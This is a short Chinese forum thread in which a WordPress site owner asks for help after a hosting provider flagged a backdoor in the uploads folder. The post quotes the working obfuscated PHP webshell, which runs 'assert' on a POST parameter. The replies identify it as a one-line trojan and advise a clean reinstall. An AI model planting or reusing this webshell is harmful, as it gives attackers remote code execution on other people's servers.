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Kei001
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网站被挂马了 求解

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  •   Kei001 2022-03-12 23:36:36 +08:00 1777 次点击
    这是一个创建于 1313 天前的主题,其中的信息可能已经有所发展或是发生改变。

    今天突然收到阿里云发来的短信,说我的 WP 网站有后门( Webshell )文件待处理,打开一看,目录是 /wp-content/uploads/2022/03/1.php

    好家伙,直接伪装了图片上传了了一个脚本文件,脚本文件如下:

    <?php error_reporting(0);set_time_limit(0);$a=base64_decode("Y"."X"."N"."z"."Z"."X"."J"."0");$a(@${"_P"."O"."S"."T"}[xw]);?> 

    现在一打开网站就是输出 phpinfo 信息,不太懂这段代码具体做了啥,如何清除这段木马?

    2 条回复    2022-03-12 23:50:48 +08:00
    eason1874
        1
    eason1874  
       2022-03-12 23:50:05 +08:00   2
    就是一句话木马,通过 assert 允许 POST 接收的代码

    你连这都看不懂的话,排除也难了,搞不好 WP 其他文件也已经被植入了。重装吧,WP 文件全部替换成新下载的,主题和插件能替换的也替换掉,自己改过的那些就逐个文件排查
    mineralsalt
        2
    mineralsalt  
       2022-03-12 23:50:48 +08:00
    base64 解码 : assert
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